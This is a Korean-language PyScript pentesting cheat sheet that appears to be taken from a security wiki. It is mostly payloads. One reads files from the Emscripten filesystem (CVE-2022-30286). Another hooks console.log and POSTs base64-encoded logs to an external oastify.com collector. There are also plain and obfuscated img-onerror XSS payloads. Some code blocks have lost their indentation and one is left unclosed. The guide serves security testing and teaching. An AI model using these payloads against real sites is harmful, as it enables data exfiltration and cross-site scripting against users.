## PyScript Pentesting Guide

PyScript는 Python을 HTML에 통합하기 위해 개발된 새로운 프레임워크로, HTML과 함께 사용할 수 있습니다. 이 치트 시트에서는 PyScript를 사용하여 취약성 진단 목적으로 어떻게 사용하는지 알 수 있습니다.

### Emscripten 가상 메모리 파일 시스템에서 파일 덤프/검색:

`CVE ID: CVE-2022-30286`\
\
코드:
```html
<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
out = fin.read()
print(out)
</py-script>
```
결과:

### [Emscripten 가상 메모리 파일 시스템의 OOB 데이터 유출 (콘솔 모니터링)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)

`CVE ID: CVE-2022-30286`\
\
코드:
```html
<py-script>
x = "CyberGuy"
if x == "CyberGuy":
with open('/lib/python3.10/asyncio/tasks.py') as output:
contents = output.read()
print(contents)
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){     console.logs.push(Array.from(arguments));     console.pylog.apply(console, arguments);fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')

### 크로스 사이트 스크립팅 (일반)

코드:
```python
<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>
```
결과:

### 크로스 사이트 스크립팅 (Python 난독화)

코드:
```python
<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>
```
